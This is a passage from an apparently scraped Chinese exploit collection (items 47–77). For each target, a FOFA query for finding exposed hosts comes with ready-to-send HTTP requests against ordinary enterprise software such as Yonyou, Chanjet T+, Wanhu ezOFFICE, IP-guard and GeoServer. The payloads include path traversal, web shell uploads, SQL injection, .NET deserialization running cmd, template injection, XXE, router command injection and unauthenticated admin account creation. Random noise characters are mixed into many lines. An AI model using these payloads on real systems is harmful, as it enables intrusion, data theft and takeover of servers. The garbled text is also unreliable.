2 Q3 m5 e  `7 `" zAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
8 e& {8 ^: j" J4 F$ `Accept-Language: zh-CN,zh;q=0.9
Connection: close
- o( B$ n6 _6 y6 z% b

, |6 j: a5 f- R+ m! |47. 用友GRP A++Cloud 政府财务云 任意文件读取
0 Q) z! \* q1 {* LFOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
6 d+ ?+ u+ H( S# G' _Host: x.x.x.x
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
& D9 C. d2 Q! U! m  y+ ]+ j1 P3 o# m. F) CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
3 x1 V: O8 ~( J" hAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
* r' d5 z, n1 L* q8 {# f  [: fConnection: close

; M$ M. a- D- [

48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: your-ip
6 Z1 A% |. K2 E3 ]0 ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
! t8 q8 o9 u/ ]5 MAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- f! r4 U' T6 p  T3 F; e$ _Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
0 X1 G' _5 l, Q  n0 b+ a2 xContent-Disposition: form-data; name="file"; filename="s.php"
1231
Content-Type: application/octet-stream
3 R; E0 U4 F' @/ {5 m' E+ m------269520967239406871642430066855
8 O, i! t7 G9 j8 H, cContent-Disposition: form-data; name="upload"
# h% c; \( f. a+ d* S/ Cupload
------269520967239406871642430066855--
5 _  N  O6 ?- y; }. G" g
& |+ m' j. b; X
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
, S% m" {9 w: n) I0 VFOFA：body="用友U8CRM"

3 V" I* Z2 T- PPOST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
9 o& u2 L6 X, j! G% k5 ^Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
! u8 b' W( e# @* z. t% j1 mAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 j4 L8 N" C- }Connection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w
! ]/ D1 [3 Z4 z7 {
-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream

- C; B- j$ P" M  X5 S: Z7 Y. w' awersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"

* ?/ r  G: J; y3 |8 }- Lupload
-----------------------------vvv3wdayqv3yppdxvn3w--
8 R  q3 i2 R6 I; @8 z( C2 f

# a0 S1 Q( P/ ~( s3 {8 ^! G# Dhttp://x.x.x.x/tmpfile/updB3CB.tmp.php

' |- E$ G/ u9 C- Y; ?8 p; D50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
% h- M- ]+ |  V: A( ]Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 224
Accept: */*
$ O4 t* R+ i) r* I  v( [" SAccept-Language: en
4 x, Y" x6 [  R% ^Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
  U! r  E5 n4 O3 |# K
searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1

& i- K9 x1 j) n7 l
# u6 z3 K5 H+ }51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
+ v, x! i8 O: P0 D" A1 ?FOFA：app="云时空社会化商业ERP系统"
- \5 g' Y. W( P2 A- e4 MGET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
) ^# }$ ?# K5 J1 j1 p/ Q* NUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
1 x; q4 Z+ Y2 b# r6 EAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
: W* M( T& u% s' GAccept-Language: zh-CN,zh;q=0.9
8 {0 V  ^' m- J0 Y2 [Connection: close


52. 泛微E-Office json_common.php sql注入
FOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
0 q( \8 W# G6 T" O1 b" j' Q; lContent-Length: 87
9 @( j8 H, w/ R  H. z# O# xAccept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
' T5 W  t+ a$ Y  a" W; }' U' j- TAccept-Encoding: gzip

tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333


" w" `% U2 g4 F- `) N53. 迪普 DPTech VPN Service 任意文件上传
; X/ r! |1 [2 C2 w7 BFOFA：app="DPtech-SSLVPN"
' s4 t5 H  g9 ]9 a4 `. o/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd


; s$ l' {" R4 {8 L54. 畅捷通T+ getstorewarehousebystore 远程代码执行
4 J6 D$ E' V! |1 }% E: rFOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
& H% K8 q" ~: h: {; ^; o; r$ P# K"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"

% W3 A- z& L# n0 x4 b# Z9 c
# D/ [0 G# o- @: `2 Q完整数据包
% w" S- Y! K* B3 VPOST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
) x' t! d, q% ?% i' uHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
. [/ F- n4 {) ~5 E7 s+ G- nContent-Length: 593
' B$ z" J4 A( \; r: u! j
{
1 x8 f- K' p8 E6 C2 P"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
) {$ c+ K7 {& {9 s) h) D "MethodName":"Start",
  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
    }
  }
  }
( u& Z- w5 u8 d  n( N2 c. [' ]}

0 h$ U3 @- {( U* D: _
第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
0 i0 D: M. }. h; y

& J" c2 ]( \/ ~6 z$ t, c55. 畅捷通T+ getdecallusers信息泄露
/ D4 @* b, Y  b' _% wFOFA：app="畅捷通-TPlus"
0 A- s- A8 f* v( {* l5 f' ~第一步，通过
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
第二步，利用获取到的Cookie请求
6 K0 ?- H1 r0 c# o% V/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
3 I7 a& v. ^9 P5 P9 w  M
. F/ C9 M( U6 N3 [8 b- z8 G+ p) u56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
0 y3 g% f! D  T) W2 G& {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json

6 O6 ~5 s* v" n& k{
  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
" r! S& N" V% D* k( r! R3 o8 M   "MethodName":"Start",
    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
) Y# `( J2 w$ m- N: H5 `           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
9 l. i9 }, j1 b# Z6 j           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
  ^; z& o3 C% h  N, |       }
) T7 j3 y7 W! U9 n    }
  r5 r2 V5 M0 z8 [: L  }
* k5 S5 q# H9 u  c' M7 i. `% ]0 z}


57. 畅捷通T+ keyEdit.aspx SQL注入
8 N" O/ ]. U2 z; A5 j' mFOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
5 @) o7 u; [' m1 S+ Y( dUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
3 e4 y( p( p" I' {% t6 Y6 mAccept-Encoding: gzip, deflate
Connection: close

+ H3 m2 W4 Z* ?* R' F0 q2 H
$ ?) V; n" `# ~% Z  j5 c( O58. 畅捷通T+ KeyInfoList.aspx sql注入
( r5 o6 U3 N1 Y$ d# D* `2 QFOFA：app="畅捷通-TPlus"
$ Y& a& c9 ?5 @0 L" dGET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
6 c4 U: x! B+ @) v+ ^User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
. [# n4 A. f& G8 e" @2 zAccept-Encoding: gzip, deflate
( x5 {8 d4 k9 M' L# Z. q$ kConnection: close
; n4 q; {- Q( H. ~1 l

59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
) e% H0 K5 r! o0 O  H: CFOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
& J* g$ K, m' O" V5 p% A1 oPOST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Content-Length: 1669
, X$ j# `" Z* j  pAccept: */*
Accept-Language: en
3 r6 F" d$ k- @6 K: ZContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

5 i" k: [0 n+ p2 M; o# w4 wPAYLOAD


% q0 Y3 B8 J9 y" b0 o+ A. J60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
8 I& M  T# O0 O( G) F4 ^Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- N3 M+ a/ Z! f1 h5 JAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
( E  w1 _+ g/ uConnection: close


61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
% Q. I! u- y- G8 C3 ?: ^POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
Host: x.x.x.x
6 B4 [% ]8 L: G3 ~8 w' k% eUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 27
6 O! _5 c9 |% ZAccept: */*
Accept-Encoding: gzip, deflate
2 C: r, n1 j1 H- Q7 _% G' zAccept-Language: en
# N0 ]# |) n: d/ aContent-Type: application/x-www-form-urlencoded

5 U) d( I2 T1 T8 H% ^8uxssX66eqrqtKObcVa0kid98xa
- }" |. K. T+ e8 t
" F. u5 C! X1 G: R1 H
62. IP-guard WebServer 远程命令执行
FOFA："IP-guard" && icon_hash="2030860561"
% S" f. J/ u0 |: g# |GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
' o- m3 K" q3 d' g: V6 D, IHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
1 O# B5 V' f  M- I0 H# k5 `Connection: close
Accept: */*
8 f4 e, @* Y# k7 L: V3 Q- L& e. lAccept-Language: en
Accept-Encoding: gzip
* L7 [8 ^  y/ R& S" `! T' J

: C/ g; s( C! W9 F/ L访问

GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x


! O3 K7 C* q4 D# _; ~" T63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
* _7 o- q/ F. Y" t4 _FOFA：icon_hash="2030860561"
* j$ B3 }# @9 P$ A: r# @0 `% BPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
( T8 y" ]# y1 `& S6 gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
3 `- z& [/ q3 m4 ZAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
$ x! L" d) c" x3 `# e
8 V. r' ?  U" ~0 Tpath=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A

64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
* u/ \' A; J7 p5 Y' f# p( N1 WPOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
5 B9 l' S7 r$ ~& ^Host: 192.168.86.128:9001
7 d( e$ F- q! XUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
8 z# H. T: O3 I/ ]& w. L6 l) L3 UConnection: close
Content-Length: 369
1 _, q8 c$ I, c6 e7 b3 n& ^Accept: */*
Accept-Language: en
Content-Type: text/xml; charset=utf-8
! ^8 A7 F7 p/ ]8 z6 Z% y. r, W" `Accept-Encoding: gzip

# J  |: L9 u* l4 V<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
; j, ?0 d. h- _<soap:Body>
" T" K2 d. h; K, b" U* X    <GetOSpById xmlns="http://tempuri.org/">
% h0 B( |, ?* L) g      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
  </soap:Body>
) C. \2 o) b2 ?5 [5 ?- A</soap:Envelope>


65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
& u1 k8 r, t2 X! @2 n. ]FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
. K. q0 C3 J4 S4 Y4 \; W3 u% bPOST /SystemMng.ashx HTTP/1.1
  h$ ^; X& c# A( H' CHost:
7 m7 V  ?/ k, \( ~1 h! q4 ZUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
, Z7 j% o$ m9 q1 k3 W& JAccept-Encoding: gzip, deflate
Accept: */*
( ^  S' `' v& H( J' C. EConnection: close
, N. o4 E2 n6 s4 r3 c$ ^! u; KAccept-Language: en
Content-Length: 174
% A2 n0 o3 i6 c# D5 I
operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators


66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
4 e  M5 s' }! h: c  M4 ZFOFA：app="万户ezOFFICE协同管理平台"

GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: x.x.x.x
  Z2 h" I! P( ]+ n7 l, n2 N" uUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
8 H0 i* n7 \: [' ~Accept: */*
Accept-Language: en
Accept-Encoding: gzip
4 f  m! |0 d/ G8 o

第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
  X5 G6 |) B" L7 h7 u% R# j' v  n
3 m% n, ]3 f+ [1 E6 R- n67. 万户ezOFFICE wpsservlet任意文件上传
8 |9 P; p. n9 E$ E7 hFOFA：app="万户网络-ezOFFICE"
newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
  A, V+ {* I' B8 ~& ~2 E7 KPOST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
* o3 D: k9 U' ^Host: x.x.x.x
% u! N5 Q( B  `- r. Y. H; c0 eUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
2 `0 @: T# u9 H2 e, o. TAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
9 e! b% L3 }+ l$ t/ L' lAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
( O% }% t6 z5 g% KConnection: close
0 K: @5 ?6 k" l& CContent-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
* F" m+ Z, p* K& `Upgrade-Insecure-Requests: 1
, s" o3 o8 y) F/ @! ]
--ufuadpxathqvxfqnuyuqaozvseiueerp
* S8 [4 w* u9 G9 w. HContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"

<% out.print("sasdfghjkj");%>
1 }2 [4 `: c2 M% C; ]4 V--ufuadpxathqvxfqnuyuqaozvseiueerp--


文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
5 E  f  s% D" R" @" k6 p
4 l2 J4 A6 c0 T. w68. 万户ezOFFICE wf_printnum.jsp SQL注入
$ J( D, R) {) f5 N2 b3 I* s; {% IFOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
+ E! X) N4 e9 ~/ lAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
  }. X) }% {5 t/ KConnection: close


5 s. v6 |  T2 A& X& G6 h69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
% C$ w6 H9 m7 Y( UGET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
+ B$ ]# N# l* ~2 ]2 O: a) S9 t# I9 }Host: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
. N5 G' f4 o+ i! O4 u: y- W3 `Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
; o% o- W- |( o  [$ J; G
! m! _2 c8 I1 p" \
70. 万户ezEIP success 命令执行
( e2 ?: K( Z  v; NFOFA：app="万户网络-ezEIP"
8 o4 I" {3 b6 _0 ^+ v" IPOST /member/success.aspx HTTP/1.1
& y- p$ K% |, O4 w1 X* hHost: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
, O; ]3 z1 |  }% V- F7 [Content-Type: application/x-www-form-urlencoded
; E, ^% F6 r3 R' qTYPE: C
Content-Length: 16702
% }$ F% n' h% F4 \. y8 y: @4 ~$ H; Y
  K% h! P6 P/ Z! E3 T__VIEWSTATE=PAYLOAD
( n1 r4 T% i2 t  j, D; N
+ _( p9 L( T( _1 V
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
7 @' q5 e0 H# k' WFOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
1 D& a3 K. {' }# P: U9 `Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
" I/ U; b; g  _' AConnection: close
& ?+ l6 ]- Z7 e0 MAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
) d" C2 t* p/ V  l3 b
1 q6 y; N+ ?6 n: ~$ v, |
72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
) v: |! v+ [- v1 x% qPOST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
- K3 K& n3 f/ Q  `% {; JContent-Length: 583
! s1 A4 P1 W- f; l8 z4 vContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

& C8 `) [% z! n- AS=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
2 O4 X8 m8 W& }
& Q* |. A- g$ E3 X
) U+ `" P) q/ Y- O73. GeoServer wms远程代码执行
  T9 c4 p% \1 |- w+ [FOFA：icon_hash=”97540678”
; \! m. c6 {4 b" `8 J. RPOST /geoserver/wms HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
/ d* R. J0 O/ L+ c9 RContent-Length: 1981
Accept-Encoding: gzip, deflate
' B  u( c* i# Z" j3 q$ vConnection: close
4 \* ?' _6 g7 U( Z6 S. o* E+ N/ HContent-Type: application/xml
5 Q( F: T% M  W4 ESL-CE-SUID: 3
9 R! a6 A. E9 r) y: }$ x6 E
PAYLOAD
; }( f* j) c+ w/ c% {0 q
* t  ~' x  ~( ?# \& M
74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
0 ~( c7 u. e5 mPAYLOAD

75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
) F4 P1 H  x% }; \GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
: ?# b0 s# [1 j8 dHost: x.x.x.x
3 e6 E& G! m/ MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
! d4 @6 K' C- ]' I+ t8 W. P, BConnection: close
, `9 o7 \- g' A. m7 w% a0 yAccept: */*
Accept-Language: en
Accept-Encoding: gzip
; T3 u5 g" m. s) L
+ D- D9 o# j  U+ J
$ u/ ?: a! g7 y0 W, F& E5 _GET /cgi-bin/test28256.txt HTTP/1.1
6 X/ p% O; j/ [7 `9 NHost: x.x.x.x
! [/ o/ ~6 B+ R7 A/ `  e
, {. I) P* u+ j  ~
# K4 m" J. m' ^! Q) b2 g# U76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
1 F8 {. D) e/ {5 Z* Z5 h. i4 gPOST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
4 k* I* }& F% {6 O) E! aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 211
& Y' e6 a; k8 E: B. bAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+ H; z" i1 i+ vAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
8 P1 b! q& _+ C' L( X+ TUpgrade-Insecure-Requests: 1

{
"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}

) ^; S# Z4 B& h/ n7 z
GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x
; x3 D7 r" w; ~. E


) X& ~$ s; z8 I0 O1 M77. F22服装管理软件系统UploadHandler.ashx任意文件上传
% j) n8 F& T: ?: O7 F' {8 r) hFOFA：body="F22WEB登陆"
